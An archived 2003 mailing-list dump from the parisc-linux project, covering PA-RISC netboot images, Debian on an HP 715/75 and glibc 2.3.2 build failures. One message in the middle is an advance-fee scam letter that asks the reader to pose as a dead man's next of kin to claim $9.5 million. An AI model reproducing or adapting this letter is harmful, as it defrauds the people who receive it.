List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18065

sorry for my previous answer, doomed keyboard shortcut for "send" :P
-------------------
> Hello,
>=20
> Thibaut VARENE <varenet@esiee.fr> schrieb:
>=20
> > >> The Net install ISOs are what you want. See
> > >> 	http://www.parisc-linux.org/software/install.html
> > > But as this are ISO files, I need to attach a CD drive, and I
don't=20
> > > have an external SCSI drive lying around. I also doubt I'll find
any
> > > IDE port inside my Apollo. That's why I looked for a net-boot
image.
> > there are lifimages as well.
> > you can also get them here:
> > http://pateam.esiee.fr/cd-images/lifimages/
> >
> > fwiw, reading the PA-RISC/Linux Boot HOWTO would have told you
about=20
> > them.
>=20
> I read it, and the _readme_first.txt there, but they don't mention
that
> those lifimages are prepared for NFS Root opposite to the one I
used.
actually they aren't: they're prepared for RAMDISK :)
> And the NetInst procedure for Debian/i386 uses a RAM-Disk, too, so I
> thought those were using a initrd just as the one I got from
> ftp://ftp.parisc-linux.org/kernels/. And so I just put it out of my
> scope when searching for non-ramdisk images.
I don't think there's any: indeed, if you have read the boot howto,
you'd have noticed that nfs-root images are very specific to your
network configuration, since you have to specify the server's IP.

therefore I don't see the point of releasing NFS-root images nobody
could possibly use.

So follow the cookbook in the HOWTO and prepare your own one ;P


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Schaber <markus.schaber@student.uni-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Out of memory problem
Date: Tue, 25 Mar 2003 09:00:45 +0100
Organization: =?ISO-8859-1?Q?Universit=E4t?= Ulm
Lines: 34
Approved: news@gmane.org
Message-ID: <20030325090045.528bdbc8.markus.schaber@student.uni-ulm.de>
References: <20030325002917.37f386fa.markus.schaber@student.uni-ulm.de>
	<20030325000539.90F6049C0B@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622327 23650 80.91.229.3 (22 Nov 2014 02:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 01:00:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.rz.uni-ulm.de (gemini.rz.uni-ulm.de [134.60.246.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 384F0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 01:00:50 -0700 (MST)
Original-Received: from lunix.haselbuehl.de (p62.246.211.81.tisdip.tiscali.de [62.246.211.81])
	by mail.rz.uni-ulm.de (8.12.8/8.12.8) with ESMTP id h2P80lVT008763
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 25 Mar 2003 09:00:48 +0100 (MET)
In-Reply-To: <20030325000539.90F6049C0B@mail.esiee.fr>
X-Mailer: Sylpheed version 0.8.11claws2 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18066

Hello,

Thibaut VARENE <varenet@esiee.fr> schrieb:

> > And the NetInst procedure for Debian/i386 uses a RAM-Disk, too, so I
> > thought those were using a initrd just as the one I got from
> > ftp://ftp.parisc-linux.org/kernels/. And so I just put it out of my
> > scope when searching for non-ramdisk images.
> I don't think there's any: indeed, if you have read the boot howto,
> you'd have noticed that nfs-root images are very specific to your
> network configuration, since you have to specify the server's IP.
> therefore I don't see the point of releasing NFS-root images nobody
> could possibly use.

That's not correct this way, as I saw in 4.3.2 of the HOWTO, the nfs
root is specified via kernel boot parameters, and as I saw in 4.4.1, one
can interact with palo to provide run-time boot parameters.

> So follow the cookbook in the HOWTO and prepare your own one ;P

I'll do so, at least in case I'm unable to find cheap extension RAM, but
I just found a promising part at EBAY (32MB for 5 EUR, that's cheap
enough to take the risk).


Gru=DF,
Markus

--=20
Schabi's Flohmarkt: http://schabi.de/flohmarkt/

Der Dienstweg ist die Verbindung der Sackgasse mit dem Holzweg!
[DoLi in unibwm.studium]


From - Thu Nov 08 21:27:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Francesco <fghira@tin.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux for HP 9000 715/75
Date: Tue, 25 Mar 2003 11:07:19 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <3E802A57.7090001@tin.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622327 23656 80.91.229.3 (22 Nov 2014 02:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 03:07:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cp.tin.it (vsmtp1.tin.it [212.216.176.221])
	by dsl2.external.hp.com (Postfix) with ESMTP id E24DB482A
	for <parisc-linux@parisc-linux.org>; Tue, 25 Mar 2003 03:07:40 -0700 (MST)
Original-Received: from tin.it (62.211.6.19) by smtp1.cp.tin.it (6.5.033) (authenticated as fghira@tin.it)
        id 3E70BBAC004BDE2E for parisc-linux@parisc-linux.org; Tue, 25 Mar 2003 11:07:38 +0100
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18067

Dear sirs,
I have an old HP workstation model 9000 715/75, since I would like to 
install a linux OS on it, could you please tel me which one I have to 
looking for?
Are there any Italian distribution of it?
Are there any kind of support close to Milan area?
Are there  italian people having  alredy installed  linux on HP 715/75?
Thanks in advance
Francesco



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux for HP 9000 715/75
Date: Tue, 25 Mar 2003 11:14:55 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20030325101455.GD19714@charite.de>
References: <3E802A57.7090001@tin.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622327 23665 80.91.229.3 (22 Nov 2014 02:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Francesco <fghira@tin.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 03:15:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E2CB482A
	for <parisc-linux@parisc-linux.org>; Tue, 25 Mar 2003 03:15:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id EA76B15C00A; Tue, 25 Mar 2003 11:14:57 +0100 (CET)
Original-Received: from localhost ([127.0.0.1])
 by localhost (hauptpostamt.charite.de [127.0.0.1:10025]) (amavisd-new)
 with SMTP id 10679-35; Tue, 25 Mar 2003 11:14:56 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id F044415C00E; Tue, 25 Mar 2003 11:14:55 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id E6316633AD; Tue, 25 Mar 2003 11:14:55 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3E802A57.7090001@tin.it>
User-Agent: Mutt/1.5.4i
X-Virus-Scanned: by amavisd-new
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18068

* Francesco <fghira@tin.it>:

> I have an old HP workstation model 9000 715/75, since I would like to 
> install a linux OS on it, could you please tel me which one I have to 
> looking for?

Debian-HPPA

> Are there any Italian distribution of it?

You can choose the language

> Are there any kind of support close to Milan area?

Il MiLUG (Milano Linux User Group) e' un gruppo di sostenitori di
Linux e del software libero che vivono a Milano e nell'area
metropolitana. MiLUG e' stato fondato nel 1999 e nel marzo 2001 e'
diventato un'associazione culturale la cui missione e' la promozione
del software libero, la sua diffusione e insegnamento e puro e
semplice divertimento. Lobbying per il software libero, promozione di
progetti di sviluppo software, supporto per gli utenti alle prime armi
e attivazione di corsi sono le attivita' principali del MiLUG, che
naturalmente non tralascia il sano divertimento che da' una install
fest con annessi bagordi.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
AIM: ralfpostfix


From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: PATRIC MANBO <patric_manbo@latinmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pls lets work together
Date: Tue, 25 Mar 2003 06:34:36 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <20030325113433.8215518F43@smtp.latinmail.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622327 23667 80.91.229.3 (22 Nov 2014 02:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 04:34:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.latinmail.com (unknown [207.153.214.76])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75611482A
	for <parisc-linux@parisc-linux.org>; Tue, 25 Mar 2003 04:34:37 -0700 (MST)
Original-Received: from latinmail.com.com (unknown [216.167.63.32])
	by smtp.latinmail.com (Postfix) with SMTP id 8215518F43
	for <parisc-linux@parisc-linux.org>; Tue, 25 Mar 2003 06:34:33 -0500 (EST)
X-Mailer: LatinMail v3.0 -- http://www.latinmail.com.com
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18069

Patric Manbo 
00229-981193 
patmanbo@maktoob.com 

Greetings, 

I crave your indulgence as I contact you in such a surprising manner. But I respectfully insist you read this letter carefully as I am optimistic it will open doors for unimaginable financial reward for both of us. 

This business transaction might not fall within the wide spectrum 
of your business activities, but I plead your assistance, as your 
flair for profitable business is needed. 

Permit me to introduce myself, I am Mr.Patric Manbo , personal account Manager Vladimir Stankov in Continental bank Benin,I am writing this letter to ask for your support and co-operation to carry out this business opportunity in my department. 

Every five years, Benin banks transfer to its treasury millions 
of dollars of unclaimed deceased depositors funds in compliance 
with the banking laws and guidelines, in majority of cases with 
reference to my bank-Continental bank , the money normally runs into several millions of dollars. 

A foreigner, Late Engineer Vladimir Stankov, an Oil Merchant/Contractor in Benin ,until his death four years ago in a ghastly air crash has a closing balance of US9,500,000.00(Nine Million,Five Hundred Thousand Dollars)Ever since his death and up till this time of writing, no next-of-kin or relation of his has come forward to claim his money with us. Fervent valuable efforts have been made by Continentak bank to get in touch with any of the Stankov`s family or relatives but proved to no avail. 

Naturally, as long as Vladimir money remains unclaimed, the bank 
remains richer in free funds with his money. However, with my position, 

I can present you to claim the fund as a relative/next of kin if 
you agree with me on private basis. Yes, I can present you. 

The request for you as next of kin in this business is occasioned 
by the fact that the customer was a foreigner and a Beninios cannot stand as next of kin to a foreigner,Hence, I plead for your assistance with the intention of getting this unclaimed money amounting to US9,500,000.00 (Nine Million, Five Hundred Thousand Dollars Only) transferred into a company/private bank account that you will present. 

You stand to gain a negotiable percentage of the fund if you agree to help me actualize this opportunity I will not contact any other person until I am convinced that you are not interested in this proposal. 

Contact me immediately indicating your willingness and also give 
your direct and confidential fax and phone numbers for the effective communication that this transaction requires. 

I will furnish you with the procedure and also enlighten you on 
how the funds will be disbursed and shared on receipt of your response. 

I will also require your advice in the areas of investment as 
I plan to establish a business venture in your country with my share. 

Please reach me only on this private email address:Patmanbo@maktoob.com 
or Tel:00229-981193 

Remember that a business of this nature needs to be 
kept confidential. 

Yours Sincerely, 

PATRIC MANBO 



_________________________________________________________
http://www.latinmail.com.  Gratuito, latino y en espaol.



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Tue, 25 Mar 2003 12:37:34 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <3E68A4AA0000385B@ocpmta8.freegates.net>
References: <20030324213508.GA8436@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622328 23669 80.91.229.3 (22 Nov 2014 02:12:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 04:37:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48D6B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 04:37:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18xmkK-0003uP-00; Tue, 25 Mar 2003 12:37:36 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 25 Mar 2003 12:37:34 +0100
In-Reply-To: <20030324213508.GA8436@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18070

Hi Carlos,

>
>John, Tausq,
>
>Succeeded in building glibc 2.3.2 with syscall cancellation support, but
>I'm pretty sure it's wrong.
>
I am less luky.

I grab src of glibc-2.3.2 from ftp.gnu and aply your patches and try to rebuild
on an unstable debian (update this 20030324).

unfortunately I got the following err:

gcc-3.2 dl-reloc.c -c -std=gnu99 -O2 -Wall -Winline -Wstrict-prototypes -Wwrite-strings
-fstrict-aliasing -g -pipe      -I../include -I.
-I/Develop/tools/glibc/glibc-2.3.2/hppa-linux/obj/elf -I.. -I../libio  -I/Develop/tools/glibc/glibc-2.3.2/hppa-linux/obj
-I../sysdeps/hpp
a/elf -I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux
-I../linuxthreads/sysdeps/pthread -I../sys
deps/pthread -I../linuxthreads/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix
-I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/sysv/lin
ux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common
-I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps
/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1
-I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysde
ps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa
-I../sysdeps/ieee754 -I../sysdeps/generic/elf -I.
./sysdeps/generic  -nostdinc -isystem /usr/lib/gcc-lib/hppa-linux/3.2.3/include
-isystem /usr/src/linux-2.4.20-pa32-64/include -D_LIBC_RE
ENTRANT -include ../include/libc-symbols.h       -o /Develop/tools/glibc/glibc-2.3.2/hppa-linux/obj/elf/dl-reloc.o
In file included from dynamic-link.h:49,
                 from dl-reloc.c:207:
../sysdeps/hppa/dl-machine.h: In function `_dl_relocate_object': 
../sysdeps/hppa/dl-machine.h:646: conflicting types for `elf_machine_rela_relative'
dynamic-link.h:37: previous declaration of `elf_machine_rela_relative'
make[3]: *** [/Develop/tools/glibc/glibc-2.3.2/hppa-linux/obj/elf/dl-reloc.o]
Error 1
make[3]: Leaving directory `/Develop/tools/glibc/glibc-2.3.2/glibc-2.3.2/elf'
make[2]: *** [elf/subdir_lib] Error 2
make[2]: Leaving directory `/Develop/tools/glibc/glibc-2.3.2/glibc-2.3.2'
make[1]: *** [install] Error 2
make[1]: Leaving directory `/Develop/tools/glibc/glibc-2.3.2/hppa-linux/obj'
make: *** [/Develop/tools/glibc/glibc-2.3.2/hppa-linux/installed-binaries]
Error 2

I also find:

into dynamic-link.h
auto void __attribute__((always_inline))
elf_machine_rela_relative (ElfW(Addr) l_addr, const ElfW(Rela) *reloc,
                           ElfW(Addr) *const reloc_addr);

into sysdeps/hppa/dl-machine.h:
auto void __attribute__((always_inline))
elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
                           const Elf32_Rela *reloc,
                           Elf32_Addr *const reloc_addr)

Thanks for advise,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Tue, 25 Mar 2003 09:27:33 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200303251427.h2PERXxE029413@hiauly1.hia.nrc.ca>
References: <20030324220130.GP31008@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622328 23672 80.91.229.3 (22 Nov 2014 02:12:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:08 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, dave.anglin@nrc-cnrc.gc.ca,
	tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 07:27:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B191B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 07:27:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2PERYsQ029414;
	Tue, 25 Mar 2003 09:27:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2PERXxE029413;
	Tue, 25 Mar 2003 09:27:33 -0500 (EST)
In-Reply-To: <20030324220130.GP31008@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Mar 24, 2003 10:01:30 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18071

> I think this is the mismatch in sizeof(long double) problem again.

I noticed that a couple of libstdc++ tests that used to fail because
of the long double mismatch are fixed with 2.3.1-14 :)

> > elf/vismain.out
> > elf/neededtest.out
> > elf/neededtest2.out
> > elf/neededtest3.out
> > elf/neededtest4.out
> > elf/circleload1.out
> > 
> > - These have been around for a while, any idea about how to fix them?
> 
> They've certainly been around since I was hacking on glibc ...

Are you testing with 3.3?  Some elf tests in the binutils suite
were failing because of the need to canonicalize function pointers.
There were also some tests that failed because we absolutely need
'-fPIC' for tests with shared libraries.  I'd be interested to know
what's causing these.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc 2.3.2 failures and possible fixes?
Date: Tue, 25 Mar 2003 10:41:44 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20030325154144.GN8436@systemhalted>
References: <20030324220130.GP31008@parcelfarce.linux.theplanet.co.uk> <200303251427.h2PERXxE029413@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622328 23677 80.91.229.3 (22 Nov 2014 02:12:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:08 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, dave.anglin@nrc-cnrc.gc.ca,
	tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 25 08:41:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56AAC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Mar 2003 08:41:58 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xqYa-0005w8-00; Tue, 25 Mar 2003 10:41:44 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Matthew Wilcox <willy@debian.org>, dave.anglin@nrc-cnrc.gc.ca,
	tausq@debian.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200303251427.h2PERXxE029413@hiauly1.hia.nrc.ca>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (10% Sync Ratio [=.........])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
